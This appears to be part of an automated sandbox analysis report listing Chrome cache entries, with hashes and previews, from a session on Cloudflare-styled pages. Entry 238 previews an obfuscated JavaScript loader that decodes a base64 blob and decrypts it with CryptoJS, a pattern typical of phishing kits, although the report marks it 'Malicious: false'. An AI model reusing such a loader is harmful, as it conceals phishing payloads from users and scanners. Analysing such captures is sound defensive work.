SHA-512:	8161E02F5EF5B76E62C1CF6DA81123DAF55BA6CEB91B60D86A1CDC90EE40D3A51C163B2A71C142692A233C7880A45688B077EC2E2473A646DB1ED29C14C5714A
Malicious:	false
URL:	https://api.www.cloudflare.com/api/v1/marketo/form/1639
Preview:	{"fields":[{"id":"FirstName","label":"First Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":0,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"LastName","label":"Last Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":1,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Company","label":"Full Company Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":2,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Email","label":"Work Email:","dataType":"email","validationMessage":"Must be valid email. example@example.com","rowNumber":3,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Title","label":"Job Title:","dataType":"select","defaultV

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (733), with CRLF line terminators
Category:	dropped
Size (bytes):	1288
Entropy (8bit):	5.9597319379837845
Encrypted:	false
SSDEEP:	24:M1uHXefzBpiVgXo06xP4WCykGUte/bcwQwIUhNtuK23uo6nlxVW:xe7bi5P4WCPte/YvwpluIdpW
MD5:	D1058CBC5452B6865959EB51A1FB2F35
SHA1:	A140ED7ED06F936147ED66821F43D9C75BF5A312
SHA-256:	1FF82CEE822A2B83AC6E8A230D4ED310382BBD3959FFA6EABB0F61A076D94E06
SHA-512:	2EEF180A3F03360689A171C41FB726C8FC9E5E176D503CCEF41B3E07876E8808B78AB4108402742F4140EAE0FD08871FFF90E6ED6ADC545600128E31EEDBE874
Malicious:	false
Preview:	var jointly= document.createElement("script");..jointly.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(jointly);..jointly.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiOVlYRFRuNmFtVzFvbEQ0UnNDUVhRUVl1QmpJcnFaajA4amhzSlBrQkJDU0lGMVN3UmM4Q285QjJTMnB2MHNKMFhiZVkyTXhxREt3TGlnWXplNnZ3bUt1MWtIS2U3Q2ZsQ2x6YW1ERWY4SjBmUU15YStIeks1QVRJQWY2VWZIYW1BS25vSFRLXC9DTHUxRnNpcVRiRzdyRUl4T1FIOFhUMnRTdUoyRzlsTzJRYTltWjZxblhHTm1JN2tlRmQ2VXZVQ2tTVzhqbFlRV3FFaVBzdFhvWlU1UFBNTHFDY1JpbHBFczhHTDVwS204M0JvdjdwMzU5a05aajN3K09UQXc0WVF6R3dZK1hVVEZ0Q2E5K01Rbm9XZ2U4dytKM2pIM2RJVHBSQjVmWE91UUVqWEhYRWE3YVQweDNqbXExdURhOWpOZkNIZFIxK3RHaDd3U3I2b2c2VlpBMzk2UGJXbFwvRVF2cGlNeVBsKzJBWGZyRE13T2tLU0plQkVwM0t3SDFobTJFclwvRlF2b01nYVdOS2JtUmFmdmpHSjJCWm5CUVgzcW5uK0U3MU9GZEVieU1KWjRsRjczVG1JMHFhdjNJSmZqU2JjVzRCNGxKb3dZTDYzbFduSlNoQUE9PSIsImMiOiI1OCIsImIiOiIwYyIsImQiOiI2YTZmNjk2ZTc0NmM3OSJ9"));..var klutziness = CryptoJS.PBKDF2(CryptoJS.enc.Hex.par

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (36066)
Category:	dropped
Size (bytes):	64734
Entropy (8bit):	5.399895192880103
Encrypted:	false
SSDEEP:	768:tmuMyCg6kBKVBeMLh9jDp3MnMY29T46T4EXKTF2KqgHk2ZNzW6zfdaXT4vBpZi10:ZCVkBKVth9jdf4g4hqoNjzd0A
MD5:	47951EA2A5280279F832B39C9899512A
SHA1:	FA41E220F040981D6DC83FEFBF2EB5C61E23DAA1
SHA-256:	DEEBAA136A21C85E0838993917C63BCD4E9AA167AFCF56C5F23F05C00AF6EC91
SHA-512:	E9AB1A01B0D1CF7C445173C482479BD311DB35228E523C805ACAB121FD95694480A175E29716E729CB649650075E8C0D098E35A492949671F16F975DD1C965E0
Malicious:	false
Preview:	(()=>{let e=window.console\|\|{log(){},debug(){}},i=window.JSON\|\|{stringify(){},parse(){}},l=new class{constructor(){this.console=e,this.JSON=i}indexOf(e,i,t){if(null==e)throw TypeError("Array.indexOf called on null or undefined");return e.indexOf?e.indexOf(i,t):this._indexOfPolyfill(e,i,t)}assign(...e){if(Object.assign&&"function"==typeof Object.assign)return Object.assign.apply(null,e);if(null===e[0]\|\|void 0===e[0])throw TypeError("Cannot convert undefined or null to object");return this._assignPolyfill(e)}startsWith(e,i,t){var t=0<t?0\|t:0;return e.substring(t,t+i.length)===i}includes(e,i){if(e instanceof RegExp)throw TypeError("First argument must not be a RegExp");return-1!==this.indexOf(e,i=void 0===i?0:i)}keys(e){if(Object.keys)return Object.keys(e);if("function"==typeof e\|\|"object"==typeof e&&null!==e)return this._keysPolyfill(e);throw TypeError("Object.keys called on non-object")}_indexOfPolyfill(e,i,t){let n=e.length>>>0,a=Math.min(0\|t,n);if(a<0)a=Math.max(0,n+a);else if(a>=n)re

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1273
Entropy (8bit):	4.25044752600902
Encrypted:	false
SSDEEP:	24:tCb8EAu334Y5jidiXbK6UQiI7aCRGkIlV83eQMY5SESMuX5/W9bZbc0Un9l8GXAl:/Wom3bK47P8yn5OpXQRtbUn9mGXAl
MD5:	F754034F42CC256E4AF70BB003F8DE26
SHA1:	07EC764FC63F61F49CC3C206173866933123D215
SHA-256:	FD9DD3E223096582809C7AB18999463F734ACE15492DCB01AD98002325406064
SHA-512:	B1DCF45AD7208562848DBF286769BD3BC28AC4EA877F07DD62E7F4C5A1335288D79E965D05F608C5025C608F9DB4C1815E04B8C965DF98BFAD85C0E24D794926
Malicious:	false
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M23.9708 27.75C26.0419 27.75 27.7208 26.0711 27.7208 24C27.7208 21.929 26.0419 20.25 23.9708 20.25C21.8997 20.25 20.2208 21.929 20.2208 24C20.2208 26.0711 21.8997 27.75 23.9708 27.75Z" fill="#FF6633"/>.<path d="M45.4185 22.5H41.9183C41.562 18.2636 39.7182 14.2898 36.7133 11.2823C33.7084 8.27473 29.7362 6.42748 25.5 6.06754V2.58154H22.5V6.06754C18.2639 6.42748 14.2917 8.27473 11.2868 11.2823C8.28186 14.2898 6.43805 18.2636 6.08179 22.5H2.58154V25.5H6.08404C6.44741 29.7306 8.29403 33.6966 11.2978 36.6978C14.3015 39.6989 18.2692 41.5421 22.5 41.9018V45.4185H25.5V41.9018C29.7309 41.5421 33.6985 39.6989 36.7023 36.6978C39.7061 33.6966 41.5527 29.7306 41.916 25.5H45.4185V22.5ZM25.5 38.8935V31.575H22.5V38.8928C19.0661 38.5422 15.8579 37.0189 13.4158 34.5795C10.9736 32.1401 9.44676 28.9336 9.09229 25.5H16.425V22.5H9.09079C9.43793 19.0603 10.9618 15.8459 13.405 13.3999C15.8481 10.9539 19.060

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
URL:	https://adservice.google.com/ddm/fls/z/dc_pre=CN3D2f6ImIkDFYddHgIdbl4eUA;src=9309168;type=a_eng0;cat=3_timer;ord=8119111381538;npa=0;auiddc=*;u1=timer_event%20(30%20Sec);u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=1253340237;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19711), with no line terminators
Category:	downloaded
Size (bytes):	19711
Entropy (8bit):	5.31563434664311
Encrypted:	false
SSDEEP:	384:F0k2FVaL/pXFl7VKt7TC7QFzEdgT1XwkAM56lkwebhE:12FALRVl5M7TjFzEdgT1XwMhE
MD5:	5F956EAA034D01A4C0AEFBBF6940D322
SHA1:	6E18011159FBC7A8A3EC1D2CA44333DBD2BD9BDC
SHA-256:	71EE824BDFC570D2DCE804DC25F92E3041B38A1384D0B9357C899D1224B1C06B
SHA-512:	089754618D7CE0B79EF173AABDEB553C19A28AC25F44DC5743940C563CCB6BAC92A21A11B843874E55228A1BBBC4F9EA28A7BCA5601DD9D36F4F185608719F81
Malicious:	false
URL:	https://www.cloudflare.com/component---src-components-page-page-template-tsx-d45b6e355a31d828fc9b.js
Preview:	"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[297],{31199:function(e,t,n){n.d(t,{E:function(){return E}});var o=n(46942),a=n.n(o),l=n(96540),r=n(94646),i=n(24266),c=n(41693),m=n(9747),d=n(54232);var u=({data:e,formBusinessLine:t})=>{const n=(0,c.useLocation)();let o=!1;return a=>{if(!o){const a={form_name:null==e?void 0:e.marketoFormLeadSource,form_id:null==e?void 0:e.marketoFormId,form_business_line:t,form_sfdc_campaign:null==e?void 0:e.marketoFormLeadSourceDetail,page_path:`${n.pathname}${n.search}`,page_url:n.href,landing_page:(0,d.l1)(n.pathname).startsWith("/lp/")};(0,m.W)({eventName:"form_email_subscription",location:n,customEventParams:a}),o=!0}}},s=n(36754),p=n(9307),g=n(7401),f=n(37155),y=n(73158),k=n(81791);const E=({contentfulMarketoData:e,additionalSubmitFormData:t,InputElement:n,TextAreaElement:o,SelectElement:c,CheckboxElement:m,SuccessElement:d,LabelElement:E,labelTextColor:b,ErrorElement:v,isEnglishOnly

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	4021
Entropy (8bit):	4.030151247600635
Encrypted:	false
SSDEEP:	96:7Xsmnk1LeZ51W6gL8osOx9OWePHpRzwwOo:LsmklOtoPGxREwOo
MD5:	67C8DCBE189A2CF2A0A2966BA23A3DA5
SHA1:	B6C0EF161E8169C02DEF7E37366229F9659BF25C
SHA-256:	2CCE97E447D0D250EFD52C87B9CACF644FCE460470C65EEBA8615E6911DB4A2B
SHA-512:	907E042ABC82315456A21E71593A4B4EE8CFDEC86C24EA92F77C10A624861476ED9B0A3812FE5585E706347638F2FAD72E3F8F89B0FB16436EA0128EAB208BF5
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/6VUhUMEcvn3L3j88LttHzC/b2cf2b702aad874db9cb61b0028e9c40/logo_garmin_trusted-by_gray.svg
Preview:	<svg width="158" height="32" viewBox="0 0 158 32" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M118.022 16.3247C118.022 15.7298 118.359 15.4324 119.053 15.4324H120.54C121.254 15.4324 121.849 15.7695 122.325 16.285L131.367 25.7835C131.664 26.0809 132.041 26.1404 132.041 25.7835V16.1859C132.041 15.71 132.279 15.4324 132.874 15.4324H134.341C134.797 15.4324 135.174 15.6307 135.174 16.1661V30.7607C135.174 31.5936 135.095 31.772 134.361 31.772H132.993C132.418 31.772 132.101 31.6531 131.704 31.2366L122.047 21.064C121.631 20.6079 121.214 20.6079 121.194 21.183V31.0383C121.194 31.4944 120.976 31.7522 120.441 31.7522H118.775C118.279 31.7522 118.041 31.5341 118.022 31.078V16.3247ZM109.475 15.4324H111.775C112.073 15.4324 112.311 15.6703 112.311 15.9876V31.2168C112.311 31.5143 112.073 31.772 111.775 31.772H109.475C109.177 31.772 108.94 31.5143 108.94 31.2168V15.9876C108.92 15.6902 109.177 15.4324 109.475 15.4324ZM84.2714 16.5627C84.2714 15.8091 84

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1369
Entropy (8bit):	4.580187745635918
Encrypted:	false
SSDEEP:	24:tCb8EAuv2BE816xpYfjZWcGAtz/O3WTVoQSliwPiOv0OaRtiCpKi/iAmc+AixniN:/1BECNUYMaV1LFzmca2iaH
MD5:	3AC85BA92BF284381A6C1B0EC402A12B
SHA1:	6B6ECF4FB19CF320DF6044A2C9A8B2020178FF28
SHA-256:	109F16A232291E95A8D389EDF4F6920EF16D3760D9C2D458F7E851F9DD2E756F
SHA-512:	648C18296981239E5E244643FBBC4E471B698B97CE901E672BDC2E710074AA5BD5A6EBAF029135D1EE4EBC4FB137E4D5F0B111892A6D0E1D1777F1D412DC1133
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/1W5s21iEz5Zk92rEr9cGr3/729e55fb2d26df7970d1c04d6040ffca/cloudflare-spectrum.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M24.6675 44.8425H23.3325L22.7925 44.5725C22.2 44.2725 8.15247 37.0725 8.15247 22.4325V11.8275L9.44247 10.3275L10.5 10.2C14.8346 9.55012 18.856 7.55647 21.9975 4.5L22.8825 3.51H25.1325L26.01 4.5C29.1565 7.56627 33.1907 9.56104 37.5375 10.2L38.5575 10.3425L39.8475 11.8425V22.4325C39.8475 37.0875 25.8 44.25 25.2075 44.5725L24.6675 44.8425ZM11.1675 13.125V22.4325C11.1675 34.6875 22.5525 41.055 24.015 41.82C25.515 41.07 36.8625 34.6875 36.8625 22.4325V13.125C32.025 12.3621 27.5366 10.1375 24 6.75C20.4674 10.1348 15.9846 12.3592 11.1525 13.125H11.1675Z" fill="#FF6633"/>.<path d="M25.5 14.265H22.5V20.88H25.5V14.265Z" fill="#FF6633"/>.<path d="M29.8192 16.0555L25.1417 20.733L27.263 22.8543L31.9405 18.1768L29.8192 16.0555Z" fill="#FF6633"/>.<path d="M33.735 22.5H27.12V25.5H33.735V22.5Z" fill="#FF6633"/>.<path d="M27.2706 25.1381L25.1493 27.2594L29.8268 31.9369L31.9481 29.8156L27.2706 25.1381

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	203667
Entropy (8bit):	5.169797844644328
Encrypted:	false
SSDEEP:	1536:wp/9iEXy6LNeFE8p/9iEXy6LNids22UuNNoJ57T5IahU5WuF:oiEXy6LwriEXy6L8s22UuLoDBIaqWuF
MD5:	B1041C8E5C6FE2E6C50DEA7028E4F04E
SHA1:	55ACE2D547C19E8C4D98274FF5E60CBACCB1998C
SHA-256:	5A7812F8F08A78A6306745AC3B75F73446E729E4BC661FDDA980BF6E0958C896
SHA-512:	70EA346D50D722318F747A42B960934686623D1A9512483310BF7F6259814A26E93F51E1B06B3EC0E24D309F9B69F90958E2A987B9BFEB244B3B4B646DA2CE99
Malicious:	false
URL:	https://www.cloudflare.com/page-data/plans/enterprise/contact/page-data.json
Preview:	{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/plans/enterprise/contact/","result":{"data":{"page":{"pageName":"Plans Enterprise Contact Form Page (MRK-9321) Redwood Variant","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Translated for Locale","frFR":"Translated for Locale","deDE":"Translated for Locale","itIT":"Translated for Locale","jaJP":"Translated for Locale","koKR":"Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"Translated for Locale","enCA":"Translated for Locale","enIN":"English for Locale","enGB":"Translated for Locale","nlNL":"English for Locale","idID":"English for Locale","thTH":"English for Locale","ruRU":"Translated for Locale","svSE":"English for Locale","viVN":"English for Locale","trTR":"English for Locale","zhHansCN":"Translated for Locale","plPL":"Translated for Locale","arAR":"No Page for Locale"},"relativePath":"plans/

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24050)
Category:	downloaded
Size (bytes):	24051
Entropy (8bit):	4.941039417164537
Encrypted:	false
SSDEEP:	192:VuR/6okgTQwq23gGM8lUR9YRGQ2BwoX6zp+1+nDT1FvxKSI7/UsV7MSE6XZ2dKzk:JwV+oUcoQJpdf1dxKSI7/Ue7ZX2qk
MD5:	5E8C69A459A691B5D1B9BE442332C87D
SHA1:	F24DD1AD7C9080575D92A9A9A2C42620725EF836
SHA-256:	84E3C77025ACE5AF143972B4A40FC834DCDFD4E449D4B36A57E62326F16B3091
SHA-512:	6DB74B262D717916DE0B0B600EEAD2CC6A10E52A9E26D701FAE761FCBC931F35F251553669A92BE3B524F380F32E62AC6AD572BEA23C78965228CE9EFB92ED42
Malicious:	false
URL:	https://bookingadocel.com/cdn-cgi/styles/cf.errors.css
Preview:	#cf-wrapper a,#cf-wrapper abbr,#cf-wrapper article,#cf-wrapper aside,#cf-wrapper b,#cf-wrapper big,#cf-wrapper blockquote,#cf-wrapper body,#cf-wrapper canvas,#cf-wrapper caption,#cf-wrapper center,#cf-wrapper cite,#cf-wrapper code,#cf-wrapper dd,#cf-wrapper del,#cf-wrapper details,#cf-wrapper dfn,#cf-wrapper div,#cf-wrapper dl,#cf-wrapper dt,#cf-wrapper em,#cf-wrapper embed,#cf-wrapper fieldset,#cf-wrapper figcaption,#cf-wrapper figure,#cf-wrapper footer,#cf-wrapper form,#cf-wrapper h1,#cf-wrapper h2,#cf-wrapper h3,#cf-wrapper h4,#cf-wrapper h5,#cf-wrapper h6,#cf-wrapper header,#cf-wrapper hgroup,#cf-wrapper html,#cf-wrapper i,#cf-wrapper iframe,#cf-wrapper img,#cf-wrapper label,#cf-wrapper legend,#cf-wrapper li,#cf-wrapper mark,#cf-wrapper menu,#cf-wrapper nav,#cf-wrapper object,#cf-wrapper ol,#cf-wrapper output,#cf-wrapper p,#cf-wrapper pre,#cf-wrapper s,#cf-wrapper samp,#cf-wrapper section,#cf-wrapper small,#cf-wrapper span,#cf-wrapper strike,#cf-wrapper strong,#cf-wrapper sub,#cf-w

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1476), with CRLF line terminators
Category:	downloaded
Size (bytes):	2163
Entropy (8bit):	5.355058378377742
Encrypted:	false
SSDEEP:	48:5M8tfCWlPLghXW4VFC6bEh+FIZTFjwB0FJ9FCquFfgF3VYA8888888DUsgy/:5ffCeEBjVA6bEIGhOB0b9AquVgJ7888b
MD5:	2FF854885DD588352FE2BEB3793D582E
SHA1:	24BF5BC01D5D428C45B8E966C4D6E75CFFC88848
SHA-256:	56A9A55418E6D34B4849494233D64CA32AE654130C7095D37E5EE4AA7389D0AA
SHA-512:	A046376DA66ACBBA0B389267842E2CC76039776A5F03D52CE83B3227CCB33D8EE569B485DF03095DE4BC2CE09E0AE5C16A3A0055BF682E0A6D4DF5255AD1705E
Malicious:	false
URL:	https://www.linksideas.poc-asia.com/img/arull.php
Preview:	<html>...<head>....<meta name="robots" content="noindex, nofollow">........<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">....<style>body,html{margin:30px;display:flex;justify-content:center;align-items:center;flex-direction:column}.campanologist {position: relative;width: 80px;height: 80px;}.campanologist div {animation: 1.2s cubic-bezier(.5, 0, .5, 1) infinite campanologist;transform-origin: 40px 40px;}.campanologist div:after {content: " ";display: block;position: absolute;width: 7px;height: 7px;border-radius: 50%;background: #3B8AFF;margin: -4px 0 0 -4px;}.campanologist div:first-child {animation-delay: -36ms;}.campanologist div:first-child:after {top: 63px;left: 63px;}.campanologist div:nth-child(2) {animation-delay: -72ms;}.campanologist div:nth-child(2):after {top: 68px;left: 56px;}.campanologist div:nth-child(3) {animation-delay: -108ms;}.campanologist div:nth-child(3):after {top: 71px;left: 48px;}.campanologist div:nth-child(4) {animation-

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	5357
Entropy (8bit):	3.8122412837158404
Encrypted:	false
SSDEEP:	96:d7r7MV1xadgTjO+kxhXMho20/0F5msihv2xZvP+JD08Bwx:dAV1YdgTjPkxhXMm208F5NiSZvP+Jg8Y
MD5:	ED89C29B7B83E7E155353D87F7209863
SHA1:	1842F77D2774B1B98C7859528A3C154DC8D02DA8
SHA-256:	D34B807635D46DB6510BC4E3F9B033269B84F249FB5A0C41E2315A7F46F6363C
SHA-512:	64F9B2D7A822B0F98D74984410618D35E39CEEA8C4D2C939477F030549AA15CEE333AC79D57EB1BC105630F7DB45EBFAC0A584E0239AC34AC601048FBFC962A9
Malicious:	false
Preview:	<svg width="40" height="40" viewBox="0 0 40 40" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M37.3437 8.58755C37.3404 7.4377 36.9302 6.32613 36.1859 5.44971C35.4415 4.5733 34.411 3.98861 33.2769 3.79921C32.1428 3.60981 30.9782 3.82793 29.9894 4.41492C29.0007 5.00192 28.2516 5.91991 27.8749 7.0063L12.2124 6.9563C12.1369 6.06147 11.8151 5.20504 11.2826 4.48194C10.7501 3.75883 10.0278 3.19731 9.19571 2.85961C8.36362 2.52191 7.45427 2.42123 6.56846 2.56873C5.68266 2.71623 4.855 3.10614 4.17724 3.69525C3.49948 4.28436 2.99809 5.04965 2.72866 5.90628C2.45923 6.76291 2.43228 7.67742 2.6508 8.54843C2.86932 9.41944 3.32478 10.2129 3.96667 10.8409C4.60857 11.4689 5.41183 11.9069 6.28742 12.1063L9.04992 28.45C8.34203 28.8731 7.75335 29.4692 7.33925 30.1823C6.92515 30.8955 6.69922 31.7022 6.68271 32.5267C6.6662 33.3512 6.85965 34.1663 7.24488 34.8955C7.6301 35.6246 8.19444 36.2438 8.88483 36.6949C9.57521 37.1459 10.369 37.4139 11.1914 37.4737C12.0139 37.5336 12.8381 37.3832 13.5865 37.

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2956
Entropy (8bit):	3.8794638876488707
Encrypted:	false
SSDEEP:	48:/pB4TQaLbH15Le3eYlnerbnW47X6FtaiOyHSMZBiRa1/5dt4vEI:hB4TZLbV5LePcrSkIBBimPt48I
MD5:	6843BFC840FAD5AAC527C1719B89F9CA
SHA1:	7DF23E54D92EF11B91A4EA216067EDD7F68D34FC
SHA-256:	1F20394762874B079770427A303F944D9E38E59478A585B5C90EC1AE0BD5D840
SHA-512:	EF0AC4E99A5B58528E38E0E7C283C7D9FB1D722B6B807571AC81879F6086D74C8BF6B9B3C938F84F99DC7A41EC0E5B8776B8BC427440086607CC3779D0411ED5
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/57ABXXM79uTTFbsc925v8O/4b2b331f5a1475d45705d9c5fc61b85c/price.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M24 43.5C20.1433 43.5 16.3731 42.3564 13.1664 40.2137C9.95963 38.071 7.46027 35.0255 5.98436 31.4623C4.50845 27.8992 4.12228 23.9784 4.8747 20.1957C5.62711 16.4131 7.4843 12.9386 10.2114 10.2114C12.9386 7.4843 16.4131 5.62711 20.1957 4.8747C23.9784 4.12228 27.8992 4.50845 31.4623 5.98436C35.0255 7.46027 38.071 9.95963 40.2137 13.1664C42.3564 16.3731 43.5 20.1433 43.5 24C43.5 29.1717 41.4456 34.1316 37.7886 37.7886C34.1316 41.4456 29.1717 43.5 24 43.5ZM24 7.50001C20.7366 7.50001 17.5465 8.46772 14.8331 10.2808C12.1197 12.0938 10.0048 14.6708 8.756 17.6857C7.50715 20.7007 7.1804 24.0183 7.81705 27.219C8.45371 30.4197 10.0252 33.3597 12.3327 35.6673C14.6403 37.9748 17.5803 39.5463 20.781 40.183C23.9817 40.8196 27.2993 40.4929 30.3143 39.244C33.3293 37.9952 35.9062 35.8803 37.7193 33.1669C39.5323 30.4535 40.5 27.2634 40.5 24C40.5 19.6239 38.7616 15.4271 35.6673 12.3327C32.5729 9.2384 28

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32757)
Category:	dropped
Size (bytes):	313653
Entropy (8bit):	5.343722172270314
Encrypted:	false
SSDEEP:	3072:AncWATKQlRW2ZQPG2KwGTPk2kGG34/JQh3n7q35LUfMLGHqHs7q:OcWMKQlRW2ZQPG27kk2k8/J637qmq
MD5:	766A0D58B323B21BD7CC99029787B7FF
SHA1:	CF9E77D439E6A2356EDE77C2CE2C1F818274F11D
SHA-256:	C8F4E28952E94B8E79900301EBB5C1DBDAFF19445FD935C57637158116A59786
SHA-512:	5603FEF59CB98684771CF45E28CD05530D3CFEC16AA6956809D3CE00DCBCD7490B01D32D8BC8E886B43C727534F59D7D0B5421E3D274263DC458AEDAC891C01D
Malicious:	false
Preview:	// For license information, see `https://assets.adobedtm.com/f597f8065f97/065ba81630d7/launch-efab6d095ce0.js`..window._satellite=window._satellite\|\|{},window._satellite.container={buildInfo:{minified:!0,buildDate:"2024-10-08T18:36:04Z",turbineBuildDate:"2024-08-22T17:32:44Z",turbineVersion:"28.0.0"},environment:{id:"EN5816e6c2d2e94d7c92a2dc1ebed92c57",stage:"production"},dataElements:{"0033_DL_hostname":{modulePath:"adobegoogledatalayer/src/lib/dataElements/gtmDlPropertyKey.js",settings:{value:"hostname",isReturnOnlyEventProps:!1}},"0014_XDM_Variable_Form_Tracking":{modulePath:"adobe-alloy/dist/lib/dataElements/variable/index.js",settings:{cacheId:"d2a17f75-bd29-4f39-93a1-cee579c1b5da"}},"0034_DL_page_title":{modulePath:"adobegoogledatalayer/src/lib/dataElements/gtmDlPropertyKey.js",settings:{value:"page_title",isReturnOnlyEventProps:!0}},"0040_DL_page_referrer":{modulePath:"adobegoogledatalayer/src/lib/dataElements/gtmDlPropertyKey.js",settings:{value:"page_referrer",isReturnOnlyEven

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1967
Entropy (8bit):	4.30884827263401
Encrypted:	false
SSDEEP:	48:H/oyFSYmiuOF4DuhAJuuwaN6NNcGVcdYjq1:HQYWOF4ChAEuwA6AGydYjq1
MD5:	E1F7BEFFD257586E119022C1E05936E2
SHA1:	B7972F38E6DA7BF07A8F5C21C9801C708192A354
SHA-256:	C12AFC4B5532E2BB9516665A1F2EA23DA60786429272B95F3D4B7B2F829E0CDA
SHA-512:	C1EB7285E138DC1849A0FCD74DB08DE1F967EBAD24270EA108C003C2280C57DB44FF04DE6C096A7F07E066FF18BCB695D3AB0DCA4C2E94F078FD9FF8CC060D2C
Malicious:	false
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M49 0V1.62H60.7V0H49ZM62.32 0V1.62H79C77.899 0.651281 76.5043 0.0807336 75.04 0H62.32ZM82.24 1.62V0H91.72L92.32 1.62H82.24ZM99.52 0L98.92 1.62H108.88V0H99.52ZM49 4.85999V3.17999H60.7V4.85999H49ZM62.32 3.17999V4.85999H80.92C80.8191 4.26941 80.616 3.70091 80.32 3.17999H62.32ZM82.24 4.85999V3.17999H92.86L93.4 4.85999H82.24ZM98.32 3.17999L97.78 4.85999H108.88V3.17999H98.32ZM52.36 8.03999V6.35999H57.4V8.03999H52.36ZM65.68 6.35999V8.03999H70.72V6.35999H65.68ZM75.64 8.03999V6.35999H81.04C81.0167 6.931 80.9158 7.49618 80.74 8.03999H75.64ZM85.6 6.35999V8.03999H94.54L93.94 6.35999H85.6ZM96.64 8.03999L97.24 6.35999H105.64V8.03999H96.64ZM52.36 9.60004V11.22H57.4V9.60004H52.36ZM65.68 11.22V9.60004H80.02C79.6457 10.2254 79.1572 10.775 78.58 11.22H65.68ZM85.6 9.60004V11.22H90.64V10.32L91 11.22H100.24L100.6 10.32V11.22H105.64V9.60004H96.16L95.62 10.98L95.14

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
